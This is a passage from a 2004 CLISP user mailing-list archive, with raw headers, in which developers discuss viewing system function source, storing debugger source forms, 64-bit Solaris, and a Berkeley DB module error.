List-Subscribe: , List-Archive: Date: Thu Jul 29 09:28:02 2004 X-Original-Date: Thu, 29 Jul 2004 12:27:05 -0400 > * Elvin Peterson [2004-07-29 07:46:13 -0700]: > > Is it possible to get the system function source in > clisp as in emacs? I know that the function > "function" lists the source if it is not compiled > already. Is it possible to prepare a binary which has > this property? this would be an enormous image bloat for little gain (poor formatting, no comments &c). get the sources and use emacs tags. -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX is a way of thinking. Windows is a way of not thinking. From elvin_peterson@yahoo.com Thu Jul 29 09:46:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqE3C-0005Ni-BF for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:46:38 -0700 Received: from web52202.mail.yahoo.com ([206.190.39.84]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BqE3B-0000hE-PV for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:46:38 -0700 Message-ID: <20040729164632.75569.qmail@web52202.mail.yahoo.com> Received: from [202.83.41.252] by web52202.mail.yahoo.com via HTTP; Thu, 29 Jul 2004 09:46:32 PDT From: Elvin Peterson Subject: Solaris (Was:Re: [clisp-list] Re: tail recursion optimization) To: Clisp In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 09:47:01 2004 X-Original-Date: Thu, 29 Jul 2004 09:46:32 -0700 (PDT) --- Raymond Toy wrote: > >>>>> "Elvin" == Elvin Peterson > writes: > > Elvin> Looks like it will take a lot of effort > to implement > Elvin> 64 bit in clisp. But it may be a long > time before > Elvin> systems are 64 bit by default (I know > several Solaris > Elvin> installations which are still 32 bit, > lowest common > Elvin> denominator and everything). > > What kind of Sun machines are they running? Ultra 2 > slower than 170 > MHz? Or maybe they're still running Solaris 2.5? > All Ultra machines > are 64-bit, but I don't think Solaris became 64-bit > until 2.6 or 2.7. > (Could be wrong, though.) Only a few of them were older OSes, but going 64 bit would cause a lot of administrative overhead with the binaries (on NFS) for different machines. __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From raymond.toy@ericsson.com Thu Jul 29 09:56:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqECZ-0007OB-Pe for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:56:19 -0700 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqECZ-0001TX-Cu for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:56:19 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i6TGuC1Z029718; Thu, 29 Jul 2004 11:56:12 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id PXJQRXCS; Thu, 29 Jul 2004 11:56:01 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i6TGu9R06910; Thu, 29 Jul 2004 11:56:11 -0500 (CDT) To: Elvin Peterson Cc: Clisp Subject: Re: Solaris (Was:Re: [clisp-list] Re: tail recursion optimization) References: <20040729164632.75569.qmail@web52202.mail.yahoo.com> From: Raymond Toy In-Reply-To: <20040729164632.75569.qmail@web52202.mail.yahoo.com> (Elvin Peterson's message of "Thu, 29 Jul 2004 09:46:32 -0700 (PDT)") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 09:57:19 2004 X-Original-Date: Thu, 29 Jul 2004 12:56:09 -0400 >>>>> "Elvin" == Elvin Peterson writes: Elvin> Only a few of them were older OSes, but going 64 bit Elvin> would cause a lot of administrative overhead with the Elvin> binaries (on NFS) for different machines. Don't see how that follows. I only run 32-bit apps on the 64-bit Sun boxes at work. I have no need for 64-bit apps, and I don't we have any anywhere either. :-) But this no longer has anything to do with clisp, so.... Ray From raymond.toy@ericsson.com Thu Jul 29 10:00:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqEGQ-0008D2-UY for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 10:00:18 -0700 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BqEGQ-0003Hx-C0 for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 10:00:18 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i6TH0D1Z000746; Thu, 29 Jul 2004 12:00:13 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id PXJQRXSY; Thu, 29 Jul 2004 12:00:01 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i6TH0AR07022; Thu, 29 Jul 2004 12:00:11 -0500 (CDT) To: clisp-list@lists.sourceforge.net Cc: Elvin Peterson Subject: Re: [clisp-list] Re: system function source References: <20040729144613.22781.qmail@web52203.mail.yahoo.com> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Thu, 29 Jul 2004 12:27:05 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 10:01:01 2004 X-Original-Date: Thu, 29 Jul 2004 13:00:10 -0400 >>>>> "Sam" == Sam Steingold writes: >> * Elvin Peterson [2004-07-29 07:46:13 -0700]: >> >> Is it possible to get the system function source in >> clisp as in emacs? I know that the function >> "function" lists the source if it is not compiled >> already. Is it possible to prepare a binary which has >> this property? Sam> this would be an enormous image bloat for little gain Sam> (poor formatting, no comments &c). Sam> get the sources and use emacs tags. Note, however, that cmucl and sbcl stores the source file and the form number as debug information. This allows the debugger to show the actual form in the backtrace. It also allows slime to jump directly to the form when you ask it to. This is very, very nice. Ray From edi@agharta.de Thu Jul 29 10:15:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqEUf-0003LV-BW for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 10:15:01 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BqEUe-0005de-Mp for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 10:15:01 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 7A1AB62125; Thu, 29 Jul 2004 19:14:58 +0200 (CEST) To: Elvin Peterson Cc: Clisp Subject: Re: [clisp-list] tail recursion optimization References: <20040729145303.62969.qmail@web52205.mail.yahoo.com> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <20040729145303.62969.qmail@web52205.mail.yahoo.com> (Elvin Peterson's message of "Thu, 29 Jul 2004 07:53:03 -0700 (PDT)") Message-ID: <87isc6ybu5.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 10:16:12 2004 X-Original-Date: Thu, 29 Jul 2004 19:14:58 +0200 On Thu, 29 Jul 2004 07:53:03 -0700 (PDT), Elvin Peterson wrote: > Ack! If you can't trust a random site on the Internet, who can you > trust? However, in their results page, they had the top 20 people > finishing with time 0.00. To make this clear: The C program took more than five minutes for the input that you proposed. That doesn't mean it couldn't perform in 0.0 seconds for other input. I think the contest site only posted the timing results but not the input that was used. Edi. From sds@gnu.org Thu Jul 29 11:06:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqFIj-0006fm-Be for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 11:06:45 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqFIi-0006h8-SC for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 11:06:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6TI6YLr003941; Thu, 29 Jul 2004 14:06:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Thu, 29 Jul 2004 13:00:10 -0400") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <20040729144613.22781.qmail@web52203.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: system function source Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 11:07:11 2004 X-Original-Date: Thu, 29 Jul 2004 14:06:34 -0400 > * Raymond Toy [2004-07-29 13:00:10 -0400]: > >>>>>> "Sam" == Sam Steingold writes: > > >> * Elvin Peterson [2004-07-29 07:46:13 -0700]: > >> > >> Is it possible to get the system function source in > >> clisp as in emacs? I know that the function > >> "function" lists the source if it is not compiled > >> already. Is it possible to prepare a binary which has > >> this property? > > Sam> this would be an enormous image bloat for little gain > Sam> (poor formatting, no comments &c). > Sam> get the sources and use emacs tags. > > Note, however, that cmucl and sbcl stores the source file and the form > number as debug information. This allows the debugger to show the > actual form in the backtrace. It also allows slime to jump directly > to the form when you ask it to. CLISP also stores the file name. (documentation 'foo 'sys::file) or something -- Sam Steingold (http://www.podval.org/~sds) running w2k There is an exception to every rule, including this one. From raymond.toy@ericsson.com Fri Jul 30 06:45:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqXhL-0007Hj-NY for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 06:45:23 -0700 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BqXhL-0005xv-DQ for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 06:45:23 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i6UDjF1Z018417 for ; Fri, 30 Jul 2004 08:45:15 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id PXJQ4N3F; Fri, 30 Jul 2004 08:45:02 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i6UDjDR25256 for ; Fri, 30 Jul 2004 08:45:14 -0500 (CDT) To: clisp-list@lists.sourceforge.net References: <20040729144613.22781.qmail@web52203.mail.yahoo.com> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Thu, 29 Jul 2004 14:06:34 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: system function source Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 30 07:51:45 2004 X-Original-Date: Fri, 30 Jul 2004 09:45:12 -0400 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2004-07-29 13:00:10 -0400]: >> Note, however, that cmucl and sbcl stores the source file and the form >> number as debug information. This allows the debugger to show the >> actual form in the backtrace. It also allows slime to jump directly >> to the form when you ask it to. Sam> CLISP also stores the file name. (documentation 'foo 'sys::file) or something What about the form? Getting the file is good, but the form is what makes it nice in the debugger, and especially nice in slime. Ray From sds@gnu.org Fri Jul 30 08:37:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqZSG-0003iR-B1 for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 08:37:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqZSF-0005fg-Qf for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 08:37:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6UFbiXK002865; Fri, 30 Jul 2004 11:37:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Fri, 30 Jul 2004 09:45:12 -0400") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <20040729144613.22781.qmail@web52203.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: system function source Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 30 08:38:18 2004 X-Original-Date: Fri, 30 Jul 2004 11:37:44 -0400 > * Raymond Toy [2004-07-30 09:45:12 -0400]: > >>>>>> "Sam" == Sam Steingold writes: > > >> * Raymond Toy [2004-07-29 13:00:10 -0400]: > >> Note, however, that cmucl and sbcl stores the source file and the form > >> number as debug information. This allows the debugger to show the > >> actual form in the backtrace. It also allows slime to jump directly > >> to the form when you ask it to. > > Sam> CLISP also stores the file name. (documentation 'foo > Sam> 'sys::file) or something > > What about the form? Getting the file is good, but the form is what > makes it nice in the debugger, and especially nice in slime. this is problematic: a single source form can produce several forms in the FAS file. I am not saying this is impossible, just that nobody volunteered to do this and I don't use slime myself. -- Sam Steingold (http://www.podval.org/~sds) running w2k 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From raymond.toy@ericsson.com Fri Jul 30 09:12:50 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bqa02-0001Rk-LE for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 09:12:50 -0700 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bqa02-0002wr-8o for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 09:12:50 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i6UGCf1Z012666 for ; Fri, 30 Jul 2004 11:12:41 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id PXJQVC10; Fri, 30 Jul 2004 11:12:29 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i6UGAsR29138 for ; Fri, 30 Jul 2004 11:10:56 -0500 (CDT) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: system function source References: <20040729144613.22781.qmail@web52203.mail.yahoo.com> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Fri, 30 Jul 2004 11:37:44 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 30 09:13:15 2004 X-Original-Date: Fri, 30 Jul 2004 12:10:54 -0400 >>>>> "Sam" == Sam Steingold writes: Sam> this is problematic: a single source form can produce several forms in Sam> the FAS file. I don't know how cmucl does it, but it seems to have only the actual source form. Thus, macros aren't expanded (I think), which is pretty handy. Sam> I am not saying this is impossible, just that nobody volunteered to do Sam> this and I don't use slime myself. Slime's not required. I find it quite handy in the debugger itself. The debugger can show the form where the error occurred, and the form from the caller's, all the way up the stack. And it can show the surrounding forms as well. Anyway, I find it very useful. A nice project, I suppose, for someone who wants to dig into clisp. Ray From jeff@public.nontrivial.org Fri Jul 30 15:26:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqfpH-0005vM-54 for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 15:26:07 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BqfpG-00084D-LZ for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 15:26:06 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Fri, 30 Jul 2004 17:16:29 -0500 From: wolfjb@bigfoot.com To: "clisp-list" Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] berkeley-db usage question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 30 15:27:01 2004 X-Original-Date: Fri, 30 Jul 2004 17:16:29 -0500 I've compiled CLISP from the sources distributed on sf.net (I can't get to cvs because of a company firewall) with the berkeley-db (among others) in a cygwin environment. clisp -K full --version GNU CLISP 2.33.2 (2004-06-02) (built 3299436836) (memory 3299437271) Software: GNU C 3.3.1 (cygming special) ANSI C program Features: (SYSCALLS REGEXP POSTGRESQL BERKELEY-DB CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: I686 (I686) DUSU3500B31.us.ad.hertz.com [10.0.148.76] (bdb:db-version) "Sleepycat Software: Berkeley DB 4.1.25: (September 20, 2003)" ; 4 ; 1 ; 25 I'm trying to learn how to use this module, and here is what I have come up with: [1]> (setf dbe (bdb:env-create)) #> [2]> (bdb:env-open dbe :home "/cygdrive/h/" :create t) [3]> (setf dbh (bdb:db-create dbe)) ** - Continuable Error FUNCALL: undefined function MKDB If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION 'MKDB). USE-VALUE :R2 You may input a value to be used instead of (FDEFINITION 'MKDB). Break 1 [4]> I don't seem to have everything installed correctly (mkdb is missing), or maybe I'm using this wrong. Here is the set of instructions I think should work for a minimal type test. (this is based on reading parts of : http://www.sleepycat.com/docs/api_c/api_index.html and http://www.podval.org/~sds/clisp/impnotes/modules.html#berkeley-db) (setf dbe (bdb:env-create)) (bdb:env-open dbe :home "/cygdrive/h/" :create t) (setf dbh (bdb:db-create dbe)) (bdb:db-open dbh "mydb.db") (bdb:db-close dbh) (bdb:env-close dbe) Can anyone give me some pointers? Thanks Jeff From jeff@public.nontrivial.org Fri Jul 30 16:16:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bqgbc-00013A-AB for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 16:16:04 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1Bqgbb-0000iw-VA for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 16:16:04 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Fri, 30 Jul 2004 18:06:30 -0500 From: wolfjb@bigfoot.com To: "clisp-list" Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] make-pathname question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , 